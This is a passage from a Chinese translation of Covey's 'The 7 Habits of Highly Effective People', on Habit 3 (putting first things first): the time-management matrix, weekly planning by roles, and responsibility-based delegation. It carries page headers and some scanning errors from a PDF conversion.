这个习惯让你能够大声宣布: “虽然这是我从小见惯 了的事情,整个社会也都是这个样子,但是这根本 就行不通,我不喜欢这种没有任何实际效果的解决 方法,我能够改变它。” 习惯二是关于第一次的创造或者智力上的创造 的习惯,其原则基础是想象力和良知这两大天赋。 想象力是一种超前感知的能力,是对目前无法亲眼 看到的潜力和创造力的认识,而良知则是发掘每个 人身上独有特性的能力。良知在伦理道德方面担当 对个体进行指导的责任。这个习惯同我们的基本思 维定式和对自己的最高期望值、价值观密切相关。 习惯三是关于第二次的创造或者体力上的创造 的习惯,是对前面两个习惯的实施、执行和自然表 现。它要求我们运用独立意志努力实现一个目标, 即以原则为基础安排人生。 对习惯三来说,前两个习惯是不可或缺的前提 条件。但是仅仅有基础还远远不够,你还必须时刻 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 211 ~ 都实施有效的自我管理,将习惯三付诸实践。 要牢记管理与领导迥然不同。从本质上说,领 导是一种高效率的右脑型活动,常被人们称为一门 艺术,其基础是一种哲学理念。如果你需要解决一 些个人领导方面的问题,通常都要先白问一些人生 最本质的问题。 一旦确定了人生方向,你就应该对自己进行有 效的管理,让生活与设想一致。相对于自我领导来 说,有效的自我管理所涉及的大都是左脑所擅长的 能力:分解、分析、排序,具体运用以及在规定时 间内完成任务等。关于提高个人效能的方法,我总 结出一句话:左脑进行管理,右脑进行领导。 独立意志:有效管理的先决条件 除了自我意识、想象力和良知之外,想要真正 实现成功的自我管理,就必须发挥人类的第四大天 赋——独立意志。独立意志指的是做出决定和主动 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 212 ~ 选择,并根据这些决定和选择采取具体行动的能力。 有了独立意志,我们就可以主动作为,而不是被动 听命,而且在发挥其他三大天赋拟定出计划之后, 就能够积极实施这些计划。 人的意志十分神奇,总是能战胜命运,这已经 被事实一再证明。在这个世界上,有无数人像海 伦·凯勒一样战胜了命运,身体力行地证明了独立 意志所具有的价值和潜力。 但是如果将这种天赋放在有效自我管理这个大 环境中来看,我们就会知道,这种能力通常并不能 产生戏剧性的即时效果,并非一朝成功就可享用一 世,更不能单纯依靠自己的力量取得永久性的成功。 我们要做的,就是平常做出每一个决定的时候合理 地运用独立意志。 在日常生活中,个人品行是否端正通常能够衡 量一个人所拥有的独立意志。诚信的人格是个人价 值的体现,具体表现为信守承诺,言行一致。这是 对自己的尊重,是品德的重要组成部分,也是成长 的核心内容。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 213 ~ 有效的管理指的就是要事第一,先做最重要的 事情。领导者首先要决定的,就是哪些事情是重要 的;而作为管理者,就是要将这些重要的事务优先 安排。从这个意义上说,自我管理的实质就是自律 和条理,是对计划的实施。 根据英语词源学, “纪律(或自律)”是由“信徒” 一词衍生出来的。通常情况下,信徒指的是信奉某 种哲学或者某种学说、原则、价值体系的人,他们 信奉某种高尚目标或这种目标的代表人物。 换言之,如果你能够成为高效率的自我管理者, 那么你的自律就是由内而外形成的,是独立意志的 具体表现,你所信奉与追随的就是内在的价值观及 在此基础上形成的人生要旨。有了独立意志和诚信 人格,你就可以控制自己的感情、冲动以及情绪, 服从这些价值观的约束。 《成功的普遍共性》一文的作者格雷(E.M.Gray) 一直致力于研究所有成功人士身上普遍存在的共性。 他发现成功的决定因素并非辛勤的工作、出众的运 气和良好的人际关系,虽然这些因素对于一个人的 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 214 ~ 成功有举足轻重的影响,但是都比不上另外一个更 加重要的因素,那就是习惯三“要事第一”。格雷说: “成功者能为失败者所不能为,纵使并非心甘情愿, 但为了理想与目标,仍可以凭毅力克服心理障碍。” 克服这种心理首先要有明确的目标和使命,要 有习惯二中所明确的人生方向和价值观,内心要有 燃烧的激情,让自己对所有其他不相关的事情大声 说“不”。克服这种心理还需要有独立意志,愿意为 自己所不愿为之事,能够做到在特定时刻始终坚持 自己的既定价值观,不屈服于一时的冲动和欲望。 这种能力会让你成为一个诚信的人,让你忠实于自 己积极的第一次的创造。 四代时间管理理论的演进 习惯三触及人生管理与时间管理的问题,我多 年的心得是:如何分辨轻重缓急与培养组织能力, 是时间管理的精髓。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 215 ~ 有关时间管理的研究已有相当历史。犹如人类 社会从农业革命演进到工业革命,再到资讯革命, 时间管理理论也可分为四代。 ◆第一代理论着重利用便条与备忘录,在忙碌 中调配时间与精力。 ◆第二代理论强调行事历与日程表,反映出时 间管理已注意到规划未来的重要。 ◆第三代是目前正流行、讲求优先顺序的观念。 也就是依据轻重缓急设定短、中、长期目标,再逐 日订定实现目标的计划,将有限的时间、精力加以 分配,争取最高的效率。 这种做法有它可取的地方。但也有人发现,过 分强调效率,把时间崩得死死的,反而会产生反效 果,使人失去增进感情、满足个人需要以及享受意 外之喜的机会。于是许多人放弃这种过于死板拘束 的时间管理法,回复到前两代的做法,以维护生活 的品质。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 216 ~ 现在,又有第四代理论出现。与以往截然不同 之处在于,它根本否定“时间管理”这个名词,主 张关键不在于时间管理,而在于个人管理。与其着 重于时间与事务的安排,不如把重心放在维持产出 与产能的平衡上。 别让琐务牵着鼻子走 使用下面这张图可以详细阐释第四代管理方法 的重点。从本质上看,我们对时间的使用方式不外 乎以下四种。(见表 5—1) 表 5—1 时间管理矩阵 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 217 ~ 这张表告诉我们,紧迫意味着必须立即处理, 比方电话铃响了,尽管你正忙得焦头烂额,也不得 不放下手边工作去接听。一般说来接电话总要优先 于私人工作。 他们不会让电话那头的人苦等,但却会让办公 室里的人干坐直等到到他们打完一通长长的电话。 紧迫之事通常都显而易见,推拖不得;也可能 较讨好、有趣,却不一定很重要。 重要性与目标有关,凡有价值、有利于实现个 人目标的就是要事。一般人往往对燃眉之急立即反 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 218 ~ 应,对当务之急却不尽然,所以更需要自制力与主 动精神,急所当急。 在时间管理矩阵中,第一类事务既紧迫又重要, 需要立即处理,通常被称为“危机”或“问题”。对 某些人来说,这类事务会消耗掉大部分的时间和精 力,因为他们整天都在处理危机,满脑子都是问题, 忙于应付各种紧迫任务。 如果你过分注重第一类事务,那么它们的范围 就会变得越来越大,最终占据你全部的时间和精力。 这就像是冲浪一样,来了一个大问题,把你从冲浪 板上打到水里,你好不容易重新爬上去,但是下一 个问题又来了,于是你又重重地摔了下来。 有些人每天都在应付各种各样的问题,疲于奔 命,因此只能借助第四类既不重要也不紧迫的事务 来逃避现实,稍微放松一下。在这些人的时间管理 矩阵中,他们把 90%的时间花在第一类事务上,而 余下的 l0%中的大部分则用在第四类事务上,用在 第二和第三类事务上的时间则少而又少,几乎可以 忽略不计。这就是大部分时间精力都用于处理危机 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 219 ~ 的人所过的生活。 还有一些人将大部分时间花在紧迫但并不重要 的第三类事务上,却自以为在致力于第一类事务。 他们整天忙于应付一些自认为十分重要的紧急事件, 殊不知紧迫之事往往只是别人的优先,对别人很重 要,对自己就不一定了。 有些人几乎将所有的时间都用在第三和第四类 事务上,可以说他们过的是一种不负责任的生活。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 220 ~ 高效能人士总是避免陷入第三和第四类事务, 因为不论是否紧迫,这些事情都是不重要的,他们 还通过花费更多时间在第二类事务来减少第一类事 务的数量。 第二类事务包括建立人际关系、撰写使命宣言、 规划长期目标、防患于未然等等。人人都知道这些 事很重要,却因尚未迫在眉睫,反而避重就轻。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 221 ~ 按照彼得·德鲁克(Peter Drucker)的观点,高 效能人士的脑子里装的不是问题,而是机会。他们 不会在各种各样的问题上浪费时间和精力,他们的 思维定式是预防型的,总是能够做到防患于未然。 当然,他们也有真正意义上的危机和紧迫事件需要 马上处理,但是这类事件的数量相对来说很少。他 们能够平衡产出和产能的关系,将时间和精力集中 在重要但是并不紧迫的事务上,即第二类事务,完 成这些活动能够提高个人的处事能力。 现在,回到本章开头的两个问题,请查看自己 的答案属于以上哪一类事务。依我推测,答案多半 是第二类。因为重要,才会使生活大为改观,却因 为不够紧迫,所以受到忽略。但是只要我们立即着 手进行,效能便会大为增进。 我曾问过一家购物中心的经理人员类似的问 题,他们一致认为,与承租购物中心的各商店老板 建立良好关系,最有助于业绩进展。这属于第二类 事务。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 222 ~ 但经过调查发现,他们只有不到 5%的时间用 在这上面。这也难怪,太多的事情使他们分身乏术: 开会、写报告、打电话等第一类公务已经使人筋疲 力尽。纵使难得与各商店老板接洽,也不外乎收账、 讨论分摊广告费等令对方不快的事。 至于承租商店者则各有一本难念的经,他们希 望购物中心的管理人员能帮助解决问题,而不是制 造问题。 于是购物中心方面决定改弦更张,在理清经营 目标与当务之急后,就以 1/3 的时间,改进与各商 店的关系。施行了 1 年半左右,不但业绩提高 4 倍 多,经理人员也成为各商店的倾听者、训练者与顾 问,不再是监督者或警察。 因此,不论大学生、生产线上的工人、家庭主 妇与企业负责人,只要能确定自己的第二类事务, 而且即知即行,一样可以事半功倍。在时间管理领 域称之为帕雷托原则(Pareto Principle)——以 20% 的活动取得 80%的成果。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 223 ~ 勇于说“不" 若要集中精力于当急的要务,就得排除次要事 务的牵绊,此时需要有说“不”的勇气。 人各有志,各有优先要务。必要时,应该不卑 不亢地拒绝别人,在急迫与重要之问,知道取舍。 我在一所规模很大的大学任师生关系部主任 时,曾聘用一位极有才华又独立自主的撰稿员。有 一天,有件急事想拜托他。 他说:‚你要我做什么都可以,不过请先了解 目前的状况。‛ 他指着墙壁上的工作计划表,显示超过 20 个 计划正在进行,这都是我俩早已谈妥的。 然后他说:‚这件事急事至少占去几天时间, 你希望我放下或取消哪个计划来空出时间?‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 224 ~ 他的工作效率一流,这也是为什么一有急事我 会找上他。但我无法要求他放下手边的工作,因为 比较起来,正在进行的计划更为重要,我只有另请 高明了。 我的训练课程十分强调分辨轻重缓急以及按部 就班行事。我常问受训人员:你的缺点在于—— ◆无法辨别事情重要与否? ◆无力或不愿有条不紊地行事? ◆缺乏坚持以上原则的自制力? 答案多半是缺乏自制力,我却不以为然。我认 为,那是“确立目标”的功夫还不到家使然。而且 不能由衷接受“事有轻重缓急”的观念,自然就容 易半途而废。 这种人十分普遍。他们能够掌握重点,也有足 够的自制力,却不是以原则为生活重心,又缺乏个 人使命宣言。由于欠缺适当的指引,他们不知究竟 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 225 ~ 所为何来。 以配偶或金钱、朋友、享乐等为重心,容易受 第一与第三类事务羁绊。至于自我中心者难免被情 绪冲动所误导,陷溺于能博人好感的第三类活动, 以及可逃避现实的第四类事务。这些诱惑往往不是 独立意志所能克服,只有发乎至诚的信念与目标, 才能够产生坚定说“不”的勇气。 集大成的时间管理理论 第一代的时间管理理论丝毫没有“优先”的观 念。固然每做完备忘录上的一件事,会带给人成就 感,可是这种成就不一定符合人生的大目标。因此, 所完成的只是必要而非重要的事。 然而好此道者不在少数,因为阻力最少,痛苦 与压力也最少。更何况,根据外在要求与规律行事, 容易推卸责任。这类经理人缺乏效率,缺乏自制力 与自尊。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 226 ~ 第二代经理人自制力增强了,能够未雨绸缪, 不只是随波逐流,但是对事情仍没有轻重缓急之分。 第三代经理人则大有进步,讲究理清价值观与 认定目标。可惜,拘泥于逐日规划行事,视野不够 开阔,难免因小失大。第一、三类事务往往占去所 有的时间,这是第三代理论最严重的缺失。 不过以上三代理论的演进,仍有可资借鉴的地 方。第四代理论便在旧有基础上,开创新局面。以 原则为重心,配合个人对使命的认知,兼顾重要性 与急迫性;强调产出与产能齐头并进,着重第二类 事务的完成。 管理方法六标准 以第二类事物为生活中心的时间管理方法只有 一个目标,那就是有效地管理生活。这需要我们有 完善的原则,对个人使命有明确的认识,能兼顾重 要的和紧迫的事情,能平衡产出和产能的关系。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 227 ~ 让第二类事务成为生活中心的有效工具必须满 足以下六个重要标准: 和谐一致 个人的理想与使命、角色与目标、工 作重点与计划、欲望与自制之间,应和谐一致。 平衡功能 管理方法应有助于生活平衡发展,提 醒我们扮演不同的角色,以免忽略了健康、家庭、 个人发展等重要的人生层面。有人以为某方面的成 功可补偿他方面的遗憾,但那终非长久之计。难道 成功的事业可以弥补破碎的婚姻、孱弱的身体或性 格上的缺失? 围绕中心 理想的管理方法会鼓励并协助你,着 重虽不紧迫却极重要的事。我认为,最有效的方法 是以一星期为单位制订计划。一周 7 天中,每天各 有不同的优先目标,但基本上 7 天一体,相互呼应。 如此安排人生,秘诀在于不要就日程表订立优先顺 序,应就事件本身的重要性来安排行事历。 以人为本 个人管理的重点在人,不在事。行事 固然要讲求效率,但以原则为中心的人更重视人际 关系的得失。因此有效的个人管理偶尔须牺牲效率, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 228 ~ 迁就人的因素。毕竟日程表的目的在于协助工作推 行,并不是要让我们为进度落后而产生内疚感。 灵活变通 管理方法并非一成不变,视个人作风 与需要而调整。 便于携带 管理工具必须便于携带,随时可供参 考修正。 第二类事务的活动是有效自我管理的核心内容, 因此你需要一个有效的工具将生活中心转移到第二 类事务,我按照上述各项标准专门设计了一个工具 以实现第四代时间管理的方法。当然,很多第三代 时间管理的工具也不错,只要稍加修改就可以应用。 原则都是相通的,但实际做法和具体运用却因人而 异。 个人管理四步骤 虽然我的工作主要是教授高效率的原则性问题, 一般不讲授具体的实施计划,但我认为,如果能够 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 229 ~ 以原则为基础,以第二类事务为生活中心,对一个 星期内的事务进行具体安排,将有助于更好地理解 第四代时间管理方法的原则及其巨大潜能。 以第二类事务为中心的日程安排需要以下四项 关键步骤: 确认角色第一步就是要写出你自己的关键角色。 如果你还没有认真思考过这个问题,那么可以把自 己想到的先记下来。作为一个个体,你有属于自己 的各种角色。你可以先写下自己在家庭中的角色: 丈夫或妻子、父亲或母亲、儿子或女儿、大家族中 的祖父母、外祖父母、叔舅、姨婶、或者表堂兄弟 姐妹等等。然后再写下自己在工作中的角色,列举 自己想要持续投入时间和精力去做的一些事情,还 可以将自己在教会或者社区事务中的角色也写出来。 你不必想得太复杂,好像在确立终身志向一样, 只要考虑自己下一周的角色和任务,记下这七天时 间里需要专注的领域即可。 我在下面举了两个例子,总结不同的人在工作 生活中所扮演的一些不同角色: [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 230 ~ A:1.作为个体 2.配偶/父母 3.新产品经理 4.研究经理 5.员工培训经理 6.行政经理 7.联合道路公司主席 B:1.个人成长 2.配偶 3.父母 4.房地产推销员 5.社区服务 6.交响乐团董事 选择目标 第二步就是思考下一个周计划中每 一任务栏下你最想做的一两件要事,作为你选定的 目标(见图 5—5)。 这些目标中一定要有几个第二类事务,最好让 这些短期目标与使命宣言中的长期目标相关联。即 使你还没有撰写个人使命宣言,也可以根据自己的 感觉来判断每个角色中哪些事情是比较重要的,并 为每个角色确立一或两个目标。 安排进度 第三步是为每一项目标安排具体的 实施时间。如果你的目标是起草自己的个人使命宣 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 231 ~ 言,那就不妨在星期天安排两个小时专门做这件事 情。通常星期天(或根据自己的信仰、生活方式、工 作安排选择其他某个适当的时间)是进行个人思考 和制订个人成长计划(包括周计划)的理想时间,因 为这时候你有充足的时间思考,反省,寻求灵感, 并根据各项原则和价值观来审视自己的生活。 如果你给自己定的目标之一是通过锻炼,增强 体质,那么就可以安排一周三到四天,每天一小时 的锻炼,当然也可以安排一周七天,每天锻炼一个 小时,以确保达到既定目标。有些目标可能必须在 工作时间完成,有些要等到孩子们都在家的星期六 才能实现。现在你知道我为什么说周计划比日计划 好了吧? 确认角色并制定目标后,你就可以把每项任务 分配到一个星期中某个具体的日子去做了。或者将 它列为一项重要活动,或者列为一个特别约会。你 也不妨查看一下自己的年历或月历,看一下是否有 什么事先定好的约会,并根据自己的既定目标确定 这些约会是否重要。如果你决定履行这些约定,那 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 232 ~ 么就为它们安排具体的时间,如果你认为它们无关 紧要,那么取消就好。 表 5-2 的周计划中的 l9 个重要目标大都属于第 二类事务,请注意看对它们的时间安排以及具体的 行动计划。此外,请留心标有“不断更新,,字样的 方框,这里列举的都是如何从四个最基本的层面让 自己休整、充电和更新,关于这一点我们还将在后 面的第七个习惯中详细探讨。 即使为 19 个重要目标中的每一个都安排了具 体时间,日程表的右侧还留有很多空白让你去安排 别的事情。这种以周为单位、以第二类事务为中心 的日程表不仅能让你做到“要事第一”,还能让你有 充分的自由和灵活性以应付突发事件,让你在必要 的时候改动约会时间,让你从事一些联络感情和与 他人交往的活动,让你享受到自发的乐趣。你会感 觉很踏实,因为你知道自己已经安排好了一周的要 务,照顾到了工作生活中的每一个重要领域。 每日 调整使用这种以第二类事务为中心的周 计划之后,你就会发现原来的每日计划变成了每日 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 233 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 234 ~ 调整,即根据突发事件、人际关系的意外发展及崭 新机会对每天的要务安排进行适当调整。 当你每天早晨审视自己一天的日程安排的时候, 你会看到,由于内心的平衡,自己已经为角色和目 标进行了合适的优先排序。这种日程安排是灵活的, 是右脑运作的结果,是建立在自己对个人使命的认 识的基础上的。 你也可以运用第三代时间管理方法中的 A、B、 c 或者 l、2、3 来为每天的事务排序。在周计划的 框架下,这种按重要性优先排序的方法可以让每天 的事务安排有所侧重。 但是如果在为这些事务进行排序之前,不知道 具体的事务同个人使命之间的关系,不清楚这些事 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 235 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 236 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 237 ~ 务同人生各个领域的平衡之间的关系,那么优先排 序只能是徒劳无益。 从以上的实例,你是否已心领神会这种做法的 可贵之处?依据表 5—2 我个人的心得,以及许多人 受益的情形,我深信这种做法确实不同凡响。 付诸实践 第三个习惯重在身体力行。就仿佛程序设计员 设计出程序后,计算机必须加以执行。 顺从别人的意愿,完成他人眼中的要务,或无 牵无挂地享受既不紧张又不重要的活动,岂不轻松 愉快?至于执行自己依理性原则设计出的程序,则或 多或少考验着自制力,此时就得靠诚心正意的修养 功夫,坚定意志。 俗语说:“天有不测风云,人有旦夕祸福。”事 先安排妥当的行事表,必要时仍须有所更动。只要 把握原则,任何调整都一 D 安理得。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 238 ~ 对人不可讲效率,对事才可如此。对人应讲效 用——即某一行为是否有效。 为人父母者,尤其是母亲,常耗费所有的时间 照顾小孩,以致一事无成,备感挫折。但挫折多来 自有所期望,而这期望反映的却是社会价值观,不 是个人的价值观。若想要克服因社会价值观而产生 的内疚感,可以依靠习惯二——以终为始。 第四代个人管理理论的特点,在于承认人比事 更重要。而芸芸众生中,首要顾及的便是自己。它 比第三代理论高明之处是:强调以原则为中心,以 良知为导向,针对个人独有的使命,帮助个人平衡 发展生活中的不同角色,并且全盘规划日常生活。 第四代时间管理方法的优点 人们拒绝使用第三代时间管理方法,通常是因 为不愿生活变得死板,缺乏灵活性。第三代管理时 间的方法总是为了坚持原定的日程安排不顾及个人 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 239 ~ 感受,与一个根本的原则相左,即不管什么时候, 人总是比事情更加重要。 第四代时间管理方法做到了充分尊重这个原则。 同时,这种方法还认识到,就效用而不是效率而言, 你首先要考虑的人就是你自己。它鼓励你将时间用 于第二类事务,根据原则去认识你的生活,将你的 生活建立在原则的基础上,明确表达出你的目标和 价值观,并且用这些目标和价值观来指导自己的日 常决定。 第四代自我管理的方法比之前的三代管理方法 都要先进,这种先进性体现在以下五个重要的方面。 首先,它以原则为基础,切实地创造出·个核 心模式,让你能够在一个更大的范围内分配自己的 时间,看清楚什么是真正重要的和有效的。 其次,它接受你内心良知的指导。这种方法让 你有机会更好地安排自己的生活,并且最大限度地 同你既定的价值观保持一致。同时,它也给你自由 和变通,让你在牺牲既定日程安排,服从更重要的 价值观的时候心平气和,毫不内疚。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 240 ~ 第三,这种方法确认了你的个人使命,包括价 值观和长期目标。这样你在度过每一天的时候都有 明确的目标和方向。 第四,这种方法帮助你明确自己的角色,平衡 自己生活中的各个方面。每个星期为每个关键角色 确立要达到的目标,并做出具体的日程安排。 第五,这种方法以一个星期为单位计划生活(需 要的时候可以对每天的安排作适当的调整),这让你 拥有了更广阔的视野,不必局限于短暂的一天时间。 通过审视自己的主要角色而让自己保持清醒,经常 想到自己内心深处的价值观。 有一条主线贯穿这五个方面,那就是将人际关 系和效果放在第一位,将时间放在第二位。 高效能的秘诀——授权 授权是提高效能或效能的秘诀之一,可惜一般 人多吝于授权,总觉得不如靠自己更省时省事。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 241 ~ 其实把责任分配给其他成熟老练的员工,才有 余力从事更高层次的活动。因此,授权代表成长, 不但是个人,也是团体的成长。已故名企业家潘尼 (J.C.Penney)曾表示,他这一生中最明智的决定 就是“放手”。在发现独立难撑大局之后,他毅然决 然授权让别人去做,结果造就了无数商店、个人的 成长与发展。 由此可见,授权也与公众的成功有关,这一点 留待第六章加以讨论。此处专论授权与个人管理技 巧的关系。 授权是事必躬亲与管理之间的最大分野。事必 躬亲者凡事不假外求。不放心子女、宁可自己洗碗 的父母,自绘蓝图的建筑师或自己打字的秘书,都 属于这一类。 反之,管理者注重建立制度,然后汇集群力共 同完成工作。比如分派子女洗碗的父母,领导一群 设计人员的建筑师,或监督其他秘书与行政人员的 执行秘书。 假定事必躬亲者花 l 小时可产生 1 单位的成果 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 242 ~ (见图 5—8),那么管理者经由有效的授权,每投入 l 小时便可产生 l0 倍、50 倍,甚至 l00 倍的成果, 其中诀窍不过是将杠杆支点向右移而已(如图 5-9)。 授权基本上可以划分成两种类型:指令型授权 和责任型授权。 指令型授权 指令型授权是让别人“去做这个,去做那个, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 243 ~ 做完告诉我”。大部分生产者都具有这种指令型授权 的行为模式。还记得丛林中那些挥舞大砍刀的人吗? 他们就是典型的生产者,挽一挽衣袖,然后手脚麻 利地干活。就算让他们去担任监督或者管理工作, 他们仍然会延用这种思维定式,什么事情都亲力亲 为。他们不知道应该怎样充分授权,让别人负责完 成原定的任务。因为他们的关注重点是方法,他们 自己为最后的结果负责。 有一次,我们全家去滑水。擅长滑水的儿子由 我驾船拖着滑行,我的妻子负责拍下他的精彩动作。 起先我叮咛她慎选镜头,因底片所剩不多。后来发 现她对相机性能不熟,就频频面授机宜:要等太阳 落在船的前方,且儿子表现美妙动作时再按快门。 可是越担心底片不够或妻子技术欠佳,我越无 法放手让她拍。到最后,演变成我下口令,妻子才 按快门。 这就是典型的指令型授权,就工作方法的每一 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 244 ~ 步进行详细的指导。有不少人一直就是这么做的。 可是这样做事情的实际效果如何呢?如果事无巨细 全部都要一个人来做的话,世界上又有多少人能够 做得到呢? 有一种方法比这好得多,也更加有效。这种方 法的理论基础就是充分认可他人的自我意识、想象 力、良知以及独立意志。 责任型授权 责任型授权的关注重点是最终的结果。它给人 们自由,允许自行选择做事的具体方法,并为最终 的结果负责。起初,这种授权方式费时又费力,但 却十分值得。通过责任型授权,可将杠杆的支点向 右移动,提高杠杆的作用。 这种授权类型要求双方就以下五个方面达成清 晰、坦诚的共识,并做出承诺。 预期成果 双方都要明确并且完全理解最终想 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 245 ~ 要的结果。要以“结果”,而不是以“方法”为中心。 要投入时间,有耐心,详细地描述最终的结果。具 体的日程,明确截止期限。 指导方针 确认适用的评估标准,避免成为指令 型授权,但是一定要有明确的限制性规定。不加约 束的放任,其最终结果只能是扼杀人们的能动性, 让人们回到初级的指令型要求上: “告诉我你想要我 做什么,我照做就是了”。 事先告知对方可能出现的难题与障碍,避免无 谓的摸索,但是不要告诉他们要做什么。要让他们 自己为最后的结果负责,明确指导方针,然后放手 让他们去做。 可用资源告诉他们可以使用哪些人力、财务、 技术或者组织资源来取得所预期的成果。 责任归属 制定业绩标准,并用这些标准来评估 他们的成果。制订具体的时间表,说明何时提交业 绩报告,何时进行评估。 明确奖惩 明确地告诉他们评估可能导致的结 果,好的和不好的后果都要告诉他们。其具体内容 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 246 ~ 应该包括财务奖励、精神奖励、职务调整以及该项 工作对其所在组织的使命的影响。 仍以我家为例来说明。有一年,我们开家庭会 议,讨论共同的生活目标以及工作分配。会议结果 不问可知,因为孩子还小,我与妻子分担了大部分 工作。当时年仅 7 岁的史蒂芬已相当懂事,自愿负 责照顾庭院,于是我认真指导他如何做个好园丁。 我指着邻居的院子对他说:‚这就是我们希望 的院子——绿油油而又整洁。除了上油漆以外,你 可以自己想办法使院中充满绿意,用水桶、水管或 喷壶浇水都行。‛ 又为了把我所期望的整洁程度具体化,我俩当 场清理了半边的院子,好给他留下深刻的印象。 经过两星期的训练,史蒂芬终于完全接下了这 个任务。我们协议一切由他作主,我只在有空时从 旁协助。此外,每周两次,他必须带我巡视整个院 子,说明工作成果,并自行判断表现成绩。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 247 ~ 当时并未谈到零用钱的问题,不过我很乐意付 这笔钱。我想,7 岁大的孩子应该已有责任感,足 以负担这个任务。 那一天是星期六,一连过了 3 天,史蒂芬毫无 动静。星期六才做的决定,我不奢望他立即行动, 星期天也不是工作日,可是星期一他依然故我。到 星期二,我已经有些按捺不住。不幸的是,下班之 后,院内脏乱依旧,史蒂芬却在对街的公园里嬉戏。 我感到极度失望,忍不住想要唤他过来整理院 子。这么做可收立竿见影之效,却会给孩子推卸责 任的借口。于是我勉为其难忍耐到晚餐用毕,才对他 说:‚照前几天的约定,你现在带我到院子里,看看 工作成绩,好不好?‛ 才出门他就低下头,过不多久更抽噎地哭起来。 ‚爸。这好难哟!‛ 很难?我心里想:你根本什么都没做。不过我 也明白,难的是自动自发,于是我说:‚需不需要我 帮忙呢?‛ ‚你肯吗?爸!‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 248 ~ ‚我答应过什么?‛ ‚你说有空的时候会帮我。‛ ‚现在我就有空。‛ 他跑进屋去拿来两个大袋子,一人一个,然后 指着一堆垃圾说:‚请把那些捡起来好不好?‛ 我乐于从命,因为他已开始负起照顾这片园地 的责任。 那年暑假我总共又帮了两三次忙,之后他就完 全独立作业,悉心照顾一切。甚至哥哥姐姐乱丢纸 屑,立刻就会受到指责。他做得比我还好。 信任是促使人进步的最大动力,因为信任能够 让人们表现出自己最好的一面。但这需要时间和耐 心,而且还有可能需要对人员进行必要的培训,让 他们拥有符合这种信任水平的能力。 我坚信,只要方法得当,这种责任型授权绝对 能够让双方都受益,并且最终能够使善于分配工作 的人用很少的时间做成很多事情。 比起孩子来,你当然更有能力迅速把一间房子 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 249 ~ 收拾得干净整齐,但问题的关键是你想要授权孩子 做这件事情,而这就需要时间。你需要花时间和精 力对孩子进行培训,但你最终会发现这样做是绝对 值得的。 这是一种关于授权的全新思维定式,它改变了 人际关系的性质:因为分得工作的人成为自己的老 板,受自己内心良知的指引,努力兑现自己的诺言, 达到既定的目标。同时,这种方法还能释放其创造 能力,激励他在正确原则的基础上尽一切可能达到 既定的目标。 授权的大原则不变,权限却因人而异。对不够 成熟的人,目标不必订得太高,指示要详尽,并且 充分提供资源;监督考核则较频繁,奖惩也更直接。 对成熟的人,可分配挑战性高的任务,精简指示, 减少监督考核的次数,考评标准则较为抽象。 成功的授权也许是有效管理的最好体现,因为 不管是对个人还是对组织,有效授权都是发展成长 的最基本的因素。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 250 ~ 以要事为中心的思维定式 有效的自我管理以及通过授权对他人进行有效 的管理,其中的关键并不是技巧、工具或其他外在 因素。这种有效管理的中心是内在的,是以第二类 事务为中心的思维定式,让你能从重要性而不是紧 迫性来观察一切事务。 我在附录二中设计了一个练习,题目是“第四 代的时间管理——高效能人士的一天”。你可以通过 这个练习切身体会到这种思维定式对商业环境下办 事效率的巨大影响。 如果能够建立以第二类事务为中心的思维定式, 就能提高安排生活的能力,能够真正做到要事为先, 